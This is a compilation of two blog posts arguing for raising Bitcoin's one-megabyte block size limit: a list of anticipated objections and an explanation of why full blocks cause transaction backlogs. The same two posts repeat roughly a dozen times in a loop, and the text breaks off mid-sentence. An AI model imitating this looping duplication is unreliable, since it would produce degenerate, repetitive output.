I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
